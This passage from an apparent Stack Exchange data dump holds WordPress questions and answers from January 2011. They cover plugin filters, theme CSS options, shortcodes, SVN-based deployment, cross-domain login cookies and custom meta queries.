{&#xA;        $title_format = $aioseop_options['aiosp_404_title_format'];&#xA;        $new_title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;        $new_title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $new_title);&#xA;        $new_title = str_replace('%request_url%', $_SERVER['REQUEST_URI'], $new_title);&#xA;        $new_title = str_replace('%request_words%', $this-&amp;gt;request_as_words($_SERVER['REQUEST_URI']), $new_title);&#xA;        $new_title = str_replace('%404_title%', $this-&amp;gt;internationalize(wp_title('', false)), $new_title);&#xA;        $header = $this-&amp;gt;replace_title($header, $new_title);&#xA;    }&#xA;&#xA;    return $header;&#xA;&#xA;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-15T22:57:42.920" LastActivityDate="2011-01-15T22:57:42.920" Title="Is it possible to use add_filter from a theme to alter a plugin's function?" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="7048" PostTypeId="1" AcceptedAnswerId="7056" CreationDate="2011-01-15T20:47:17.367" Score="2" ViewCount="373" Body="&lt;p&gt;I would like to create a theme options page based only on changing the site wide CSS styling. For instance body/container background colors, font-sizes, font colors, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have accomplished this by using a stylesheet link to a php file in the header that echo's the CSS and uses get_option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance &lt;code&gt;background-color: &amp;lt;?php echo get_option('background_color'); ?&amp;gt;;&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I be correct in assuming this is a bad idea performance wise if there are many options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried other methods but they all seem to add inline or embedded styles, which I do not want, how would one get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would creating a  custom script that writes to the static CSS file be a good idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way the settings API can handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** PS. Great answer but I have decided to actually go with writing to a static file as it provides way less overhead.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-01-17T17:05:14.653" LastActivityDate="2011-01-18T12:36:45.437" Title="Best practices for a Style/CSS based theme options page?" Tags="&lt;themes&gt;&lt;settings&gt;&lt;wp-options&gt;&lt;theme-options&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7049" PostTypeId="2" ParentId="7046" CreationDate="2011-01-15T21:39:27.260" Score="1" ViewCount="" Body="&lt;p&gt;Well Kevin no one here is going to write code for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a shortcode you can use your functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function hello() {&#xA;&#xA; return 'Hello, World!';&#xA;&#xA;}&#xA;&#xA;add_shortcode('yourshortcodename', 'hello');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to get posts based on date/category/etc you can find the parameters reference here&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-01-15T21:39:27.260" />
  <row Id="7050" PostTypeId="2" ParentId="7047" CreationDate="2011-01-15T22:22:02.480" Score="2" ViewCount="" Body="&lt;p&gt;It is, but you're doing this wrong. I'm not familiar with that plugin, but chances are it's hooking into the wp_title hook. You should be able to a) call remove_filter() from your theme to disable the plugin's title manipulation, and/or b) override the result returned by the plugin by plugging into the same hook (just make sure your &quot;priority&quot; is &quot;higher&quot;, i.e. your function gets called later).&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-15T22:22:02.480" CommentCount="2" />
  <row Id="7051" PostTypeId="2" ParentId="7047" CreationDate="2011-01-15T22:32:40.367" Score="0" ViewCount="" Body="&lt;p&gt;Filter doesn't intercept function, it merely plugs in existing hook. There are no hooks to use in that method.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-15T22:32:40.367" CommentCount="2" />
  <row Id="7052" PostTypeId="2" ParentId="288" CreationDate="2011-01-15T23:27:17.377" Score="0" ViewCount="" Body="&lt;p&gt;Kylan mentioned Firebug for firefox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a really great tool for seeing how others built their themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download a few cool looking themes and then use Firebug to explore them. That helped me out alot when I got started.&lt;/p&gt;&#xA;" OwnerUserId="2469" LastActivityDate="2011-01-15T23:27:17.377" CommunityOwnedDate="2011-01-15T23:27:17.377" />
  <row Id="7053" PostTypeId="1" CreationDate="2011-01-15T23:32:39.857" Score="0" ViewCount="61" Body="&lt;p&gt;I wanted to make a page unprintable, so we set up css media type print and set display to none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem seems to be that IE (not sure which versions yet) is displaying the page as 'print' media format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody seen this? Suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;============&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update it turns out there was a script that conflicted with IE and Safari&lt;/p&gt;&#xA;" OwnerUserId="2469" LastEditorUserId="2469" LastEditorDisplayName="" LastEditDate="2011-01-21T05:51:31.890" LastActivityDate="2011-01-21T05:51:31.890" ClosedDate="2011-01-18T21:34:34.810" Title="Has anyone tried to use the css print property and had IE mess it up?" Tags="&lt;css&gt;" CommentCount="2" />
  <row Id="7054" PostTypeId="2" ParentId="7046" CreationDate="2011-01-15T23:39:14.423" Score="2" ViewCount="" Body="&lt;p&gt;paste this code in your theme's functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_query_shortcode($atts) {&#xA;&#xA;   // EXAMPLE USAGE:&#xA;   // [loop_shortcode the_query=&quot;showposts=100&amp;amp;post_type=page&amp;amp;post_parent=453&quot;]&#xA;&#xA;   // Defaults&#xA;   extract(shortcode_atts(array(&#xA;      &quot;the_query&quot; =&amp;gt; ''&#xA;   ), $atts));&#xA;&#xA;   // de-funkify query&#xA;   $the_query = preg_replace('~&amp;amp;#x0*([0-9a-f]+);~ei', 'chr(hexdec(&quot;\\1&quot;))', $the_query);&#xA;   $the_query = preg_replace('~&amp;amp;#0*([0-9]+);~e', 'chr(\\1)', $the_query);&#xA;&#xA;   // query is made               &#xA;   query_posts($the_query);&#xA;&#xA;   // Reset and setup variables&#xA;   $output = '';&#xA;   $temp_title = '';&#xA;   $temp_link = '';&#xA;   $temp_ex = '';&#xA;   $temp_content = '';&#xA;   $temp_thumb = '';&#xA;   $temp_id = '';&#xA;&#xA;   // the loop&#xA;   if (have_posts()) : while (have_posts()) : the_post();&#xA;      $temp_id = $post-&amp;gt;ID;&#xA;      $temp_title = get_the_title($post-&amp;gt;ID);&#xA;      $temp_link = get_permalink($post-&amp;gt;ID);&#xA;      $temp_content = get_the_content($post-&amp;gt;ID);&#xA;      //$temp_ex = get_the_excerpt();&#xA;        if ( has_post_thumbnail() ) {&#xA;        $temp_thumb = get_the_post_thumbnail($post-&amp;gt;ID);&#xA;        } else {&#xA;        $temp_thumb = &quot;&quot; ;&#xA;        }&#xA;&#xA;      // output all findings -&#xA;     $output .= &quot;&amp;lt;div class=\&quot;post-$temp_id&quot; id=\&quot;post-$temp_id\&quot;&amp;gt;&#xA;                &amp;lt;h3 class=\&quot;entry-title\&quot;&amp;gt;&#xA;                    &amp;lt;a title=\&quot;$temp_title\&quot; rel=\&quot;bookmark\&quot; href=\&quot;$temp_link\&quot;&amp;gt;$temp_title&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h3&amp;gt;&amp;lt;!--BEGIN .entry-content--&amp;gt;&#xA;                &amp;lt;div class=\&quot;entry-content\&quot;&amp;gt;&#xA;                    &amp;lt;div class=\&quot;theExrp\&quot;&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                        &amp;lt;a href=\&quot;$temp_link\&quot;&amp;gt;&#xA;                            $temp_thumb&#xA;                        &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p&amp;gt;$temp_content&#xA;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&amp;lt;a class=\&quot;more-link\&quot; href=\&quot;$temp_link\&quot;&amp;gt;read more...&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!--END .entry-content--&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!--END .hentry--&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&quot;;&#xA;    endwhile; else:&#xA;      $output .= &quot;not found.&quot;;&#xA;   endif;&#xA;   wp_reset_query();&#xA;   return $output;&#xA;}&#xA;add_shortcode(&quot;loop_shortcode&quot;, &quot;custom_query_shortcode&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then edit your home page and add this shortcode to show the two latest posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[loop_shortcode the_query=&quot;posts_per_page=2&amp;amp;orderby=date&amp;amp;order=DESC&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you want to select the category the paste this short code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[loop_shortcode the_query=&quot;cat=CHANGETHIS&amp;amp;posts_per_page=2&amp;amp;orderby=date&amp;amp;order=DESC&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and replace the CHANGETHIS with your category id or name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this help :)&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T23:39:14.423" CommentCount="2" />
  <row Id="7055" PostTypeId="1" CreationDate="2011-01-15T23:44:15.467" Score="1" ViewCount="188" Body="&lt;p&gt;I'm trying to do some form validation on my custom meta box, and I remember somewhere reading about some javascript function to disable/enable the Publish button - except I can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I either &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) enable/disable the publish button or,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) when Publish is clicked, trap it and prevent the update and alert the user, but in such a way that it can be updated later &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried just a simple click handler with e.preventDefault() and e.stopPropagation however the swily icon comes up and the button stays disabled because it never finishes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2523" LastActivityDate="2011-01-16T18:13:13.250" Title="How to trap &quot;Publish&quot; button to check for meta box validation?" Tags="&lt;plugin-development&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;events&gt;&lt;publish&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7056" PostTypeId="2" ParentId="7048" CreationDate="2011-01-15T23:50:55.633" Score="3" ViewCount="" Body="&lt;p&gt;creating a custom script that writes to the static CSS file is a bad idea!!!&#xA;you would need to regenerate the file each time you save any changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a better solution would be to save all options in an array of options say for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$MyCSS['background_color'] = #009988;&#xA;$MyCSS['background_repeat'] = no-repeat;&#xA;update_option('theme_settings',$MyCSS);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that why you only call the &quot;get_option()&quot; function once.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $MyCSS = get_option('theme_settings');&#xA;// and use :&#xA;    echo $MyCSS['background_color'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make much less calls to the database and use less resources if you are thinking performance wise.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T23:50:55.633" CommentCount="3" />
  <row Id="7058" PostTypeId="2" ParentId="2980" CreationDate="2011-01-16T01:47:57.607" Score="1" ViewCount="" Body="&lt;p&gt;The e-commerce plugin &lt;a href=&quot;http://shopplugin.net/&quot; rel=&quot;nofollow&quot;&gt;Shopp&lt;/a&gt; for Wordpress seems to allow 2-tier product variation options. It used to be a bit buggy in the 2-tier product variation department, but I think that they've fixed those issues with the plugin now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that Shopp isn't free, but in my opinion it's worth every dollar. MarketPress is supposedly going to support this as well, but WPMU Dev might take a while to release a new version of it.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-16T01:47:57.607" />
  <row Id="7059" PostTypeId="2" ParentId="3013" CreationDate="2011-01-16T01:57:09.543" Score="1" ViewCount="" Body="&lt;p&gt;I would either recommend PHPurchase or Shopp for Wordpress. Each have their own pro's and cons in relation to set-up and features. Both of the below plugins are not free, but a lot of free e-commerce solutions like WP E-Commerce sometimes just aren't enough to build a great online store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PHPurchase&lt;/strong&gt;&lt;br&gt;&#xA;Allows you customise every aspect of it, only downside is that to truly customise it you need to have a bit of PHP coding knowledge, otherwise you'll find yourself swimming in a shark infested ocean so-to-speak. It allows for physical and digital sales, advanced product variations as well as a whole heap of other stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shopp&lt;/strong&gt;&lt;br&gt;&#xA;Shopp is one of my favourite e-commerce plugins. It doesn't require PHP coding knowledge like PHPurchase and it has just as many features, if not more. It can support two-tiered product variations and has quite a lot of payment gateways. It also offers shipping variations and various shipping calculators, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion if you choose Shopp you won't be disappointed. It can do everything that those shops you linked too offer.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-16T01:57:09.543" />
  <row Id="7060" PostTypeId="2" ParentId="6990" CreationDate="2011-01-16T02:04:47.000" Score="3" ViewCount="" Body="&lt;p&gt;Externals, definitely. Set up your own SVN repo, then make WP as an external in the repo. I put it into a /wp directory. You can access the WP SVN as an external here: &lt;a href=&quot;http://core.svn.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;http://core.svn.wordpress.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to use trunk. You can use a branch, if you really, really want. Branches get auto updated with minor releases (/branches/3.0 held 3.0, then 3.0.1, 3.0.2, etc), new branches get made for major releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alongside it, I make a /name-content directory, where I'll put my custom themes and such. &quot;name&quot; is whatever you want it to be. Then I can use a custom /wp-config.php to change the location of the wp-content directory into my custom one, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/name-content' );&#xA;define( 'WP_CONTENT_URL', 'http://example.com/name-content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the themes, they go directly into the repo (since they're probably custom to the site) under /name-content/themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any plugins I use I make a /name-content/plugins directory for, then set them to be externals from the &lt;a href=&quot;http://plugins.svn.wordpress.org/pluginname/trunk&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/pluginname/trunk&lt;/a&gt; repo. If you don't like running trunk (dangerous and that), then you can use the /tags/1.1 or whatever for them instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a little bit of custom .htaccess logic (with the .htaccess file in the root of the repo) to make /wp the &quot;root&quot; of my domain, then the whole thing is setup. Example .htaccess file to move the root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options -Indexes&#xA;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^(www.)?example.com$&#xA;RewriteCond %{REQUEST_URI} !^/wp/&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /wp/$1&#xA;RewriteCond %{HTTP_HOST} ^(www.)?example.com$&#xA;RewriteRule ^(/)?$ wp/index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This allows WordPress in the /wp directory to be at the root of your site, with it pointing to the name-content directory for the content aspects. The .htaccess won't redirect those requests (since the files exist) and thus everything works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantage: When you want to update, a simple svn up updates the whole site, after you fiddle with the externals and such to point to the newer versions (if you're too chicken to run on trunk).&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-16T02:04:47.000" CommentCount="5" />
  <row Id="7061" PostTypeId="2" ParentId="3411" CreationDate="2011-01-16T03:04:52.750" Score="3" ViewCount="" Body="&lt;p&gt;Short answer: You can't. That's not hookable for the settings cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the cookie paths and such via defines, so as to make the settings apply across multiple installations across a domain. The most common use of this is to make logins work across a domain, so when you log into one, you log into all subdomain installs as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic code you need here is this in the wp-config file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('LOGGED_IN_COOKIE', 'login_cookie_name');&#xA;define('AUTH_COOKIE','auth_cookie_name');&#xA;define('COOKIE_DOMAIN', '.example.com');&#xA;define('COOKIEHASH', 'random_hash_here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put that in the config across multiple sites, set the keys and salts to be the same, and you'll have login cookies that work across the domain and subdomains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisite is simpler.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-16T03:04:52.750" />
  <row Id="7062" PostTypeId="1" CreationDate="2011-01-16T03:17:42.567" Score="1" ViewCount="173" Body="&lt;p&gt;Is there any syntax highlighter for wordpress. This is not to post code snippets on posts but for the backend/theme editor of wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not do you think it will be implemented in sometime future?&lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2011-01-16T11:21:57.143" Title="syntax highlighting for theme-editor.php?" Tags="&lt;3.0&gt;&lt;syntax-highlighting&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7063" PostTypeId="1" CreationDate="2011-01-16T04:59:14.830" Score="0" ViewCount="167" Body="&lt;p&gt;This was working earlier, but now I am lost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a modified Twenty Theme I created. I have the 404 page looking good except the search does not work. The code for the 404.php (ex.http://shs.merms.info/gugu). Also I used the same code for the search on the search.php and that does not work obviously. Here is the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;404-error&quot;&amp;gt;&#xA;&amp;lt;p class=&quot;sorry&quot;&amp;gt;Your search yielded no results. Perhaps one of these recent posts will interest you? Or try searching again box?&amp;lt;/p&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;$args = array( 'posts_per_page' =&amp;gt; 5, 'orderby' =&amp;gt; 'recent' );&#xA;$rand_posts = get_posts( $args );&#xA;foreach( $rand_posts as $post ) : ?&amp;gt;&#xA;&amp;lt;li class=&quot;recent-posts&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;search-form&quot;&amp;gt;               &#xA;&amp;lt;?php get_search_form(); ?&amp;gt;             &#xA;&amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2266" LastActivityDate="2011-01-17T01:30:57.460" Title="404 &amp; Search page" Tags="&lt;3.0&gt;&lt;search&gt;&lt;404-error&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7065" PostTypeId="1" AcceptedAnswerId="7975" CreationDate="2011-01-16T08:25:50.820" Score="1" ViewCount="243" Body="&lt;p&gt;I, like many others, have numerous links all over my website. Some are in the body, some are in the sidebars, some are in comments. When links go to an external site, I would very much like to have that website's favicon appear to the left of the link. I have seen this in many places. E.g a link to Wikipedia page, should have that wikipedia favicon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/file-icons/&quot; rel=&quot;nofollow&quot;&gt;File Icons&lt;/a&gt; appears to do that, but for file types (you link to a PDF, you get a PDF icon). But the question is, how do you do this for general types of links? You could add URLS to the File Icons plugin by hand, but that is a pain, and I have heard of Google's S2 which should find most fav icons automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is; is there a plugin that will auto find any links on a post/page/etc. and insert the URL's fav icon to the left of the text?&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2011-03-04T01:17:15.520" Title="Plugin that inserts favicon next to links" Tags="&lt;links&gt;&lt;icon&gt;&lt;favicon&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="7066" PostTypeId="1" AcceptedAnswerId="8476" CreationDate="2011-01-16T10:09:33.480" Score="0" ViewCount="454" Body="&lt;p&gt;I'm using WordPress 3.0 Menus, which the WPML (wordpress multilingual) plugin &lt;a href=&quot;http://wpml.org/2010/07/wpml-1-8-0-with-multilingual-menus/&quot; rel=&quot;nofollow&quot;&gt;claims to have added support for in a recent release&lt;/a&gt;.  I am using the most current version of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that using the following to call my nav menus&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary', 'container_class' =&amp;gt; 'menu-header', 'menu_id' =&amp;gt; 'menu-primary-navigation' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is pulling up only the English translation of the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the WPML admin panel and how the menus are setup multilingual:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[link to image] &lt;a href=&quot;http://cl.ly/42RW&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/42RW&lt;/a&gt;&#xA;[link to image] &lt;a href=&quot;http://cl.ly/42o0&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/42o0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the site currently in development:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anasmadance.com.s66112.gridserver.com/&quot; rel=&quot;nofollow&quot;&gt;http://anasmadance.com.s66112.gridserver.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that when you go to the French translated page, the menu is still in English (despite the fact that I've already set up the French menu)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anasmadance.com.s66112.gridserver.com/fr/&quot; rel=&quot;nofollow&quot;&gt;http://anasmadance.com.s66112.gridserver.com/fr/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2527" LastActivityDate="2011-02-03T21:27:48.503" Title="WPML Plugin Not displaying multilingual Menus" Tags="&lt;3.0&gt;&lt;plugin-development&gt;&lt;custom-menus&gt;&lt;multi-language&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7067" PostTypeId="1" AcceptedAnswerId="7071" CreationDate="2011-01-16T10:10:37.440" Score="1" ViewCount="67" Body="&lt;p&gt;I am new to using subversion, trac and do not clearly understand how the wordpress plugin repository works. When committing WP Responder I put all the files in a directory called &quot;trunk&quot; and committed it to the server. It worked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be useful to make previous versions of the plugin available for download. So I copied all the files from a previous version (4.9) as well as the current version (4.9.5.1) and placed it in the &quot;tags&quot; directory of the repository. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So tags had two directories: 4.9 and 4.9.5.1. The 4.9.5.1 had the same content as the trunk directory. When I did this the downloadable archive had only the php files directly under the trunk directory and not the sub directories that are part of plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had to removed all the directories within the tags directory to restore it to the previous state. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? How can I make previous versions available for download?&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2011-01-16T16:19:50.643" Title="How to make previous versions available for users?" Tags="&lt;wordpress.org&gt;&lt;subversion&gt;&lt;plugin-repository&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="7068" PostTypeId="2" ParentId="7062" CreationDate="2011-01-16T11:21:57.143" Score="1" ViewCount="" Body="&lt;p&gt;yes there is &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-editarea/screenshots/&quot; rel=&quot;nofollow&quot;&gt;WP Editarea plugin&lt;/a&gt; works on both plugin and theme editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and there is &lt;a href=&quot;http://wordpress.org/extend/plugins/power-code-editor/&quot; rel=&quot;nofollow&quot;&gt;Power Code Editor&lt;/a&gt; plugin &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-16T11:21:57.143" />
  <row Id="7070" PostTypeId="1" CreationDate="2011-01-16T15:15:47.817" Score="1" ViewCount="212" Body="&lt;p&gt;the_author_posts_link is so handy. But is there now way in WordPress to set/edit the default display name for all new authors? (I know you can manually edit per author). I'd like it to be user_login, and then I can just call the_author_posts_link accordingly.&lt;/p&gt;&#xA;" OwnerUserId="1907" LastActivityDate="2011-01-16T17:34:38.977" Title="Is it possible to set/override default the_author_posts_link to login name?" Tags="&lt;author&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7071" PostTypeId="2" ParentId="7067" CreationDate="2011-01-16T16:19:50.643" Score="1" ViewCount="" Body="&lt;p&gt;See Task 3: &quot;Tagging&quot; a new version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/about/svn/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/about/svn/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-16T16:19:50.643" />
  <row Id="7072" PostTypeId="2" ParentId="7070" CreationDate="2011-01-16T17:34:38.977" Score="2" ViewCount="" Body="&lt;p&gt;Try this, it will change display names to logins anywhere in the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_author', 'return_login');&#xA;&#xA;function return_login($display_name) {&#xA;&#xA;    if ( !in_the_loop() )&#xA;        return $display_name;&#xA;&#xA;    return get_the_author_meta('login');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-16T17:34:38.977" />
  <row Id="7073" PostTypeId="2" ParentId="7055" CreationDate="2011-01-16T18:13:13.250" Score="3" ViewCount="" Body="&lt;p&gt;Rather than trying to interfere with the button operation and doing validation in jQuery or javascript, I find it easier to hook the &lt;code&gt;save_post&lt;/code&gt; action and do my validation in php (checking if certain post_meta exist or are correct), then if things don't check out, you can set the post status back to &quot;pending&quot;, which in effect overrides the Publish button. The page simply loads back up (having been saved), but they have to correct their errors before &quot;publishing&quot; can be done.&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2011-01-16T18:13:13.250" />
  <row Id="7074" PostTypeId="1" AcceptedAnswerId="7075" CreationDate="2011-01-16T18:43:54.440" Score="0" ViewCount="509" Body="&lt;p&gt;I need to get posts that have two meta-values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It tried the following code, but this is getting empty result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; $featuredquery = &quot;&#xA;    SELECT wposts.*&#xA;    FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;    WHERE wposts.ID = wpostmeta.post_id&#xA;    AND (wpostmeta.meta_key = 'article_level' AND wpostmeta.meta_value = 'Hovedsak')&#xA;    AND (wpostmeta.meta_key = 'article_genre' AND wpostmeta.meta_value = 'X6.no (Spill og underholdning)')&#xA;    AND wposts.post_status = 'publish'&#xA;    AND wposts.post_type = 'post'&#xA;    AND wposts.post_date &amp;lt; NOW()&#xA;    ORDER BY wposts.post_date DESC&#xA;    LIMIT 0 , 4&#xA; &quot;; &#xA;&#xA; $featuredposts = $wpdb-&amp;gt;get_results($featuredquery, OBJECT);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas for this? &#xA;I tried searching around, but didn't find anything that suited me.. :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all help&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-02-14T13:45:43.160" Title="Custom query, multiple custom keys" 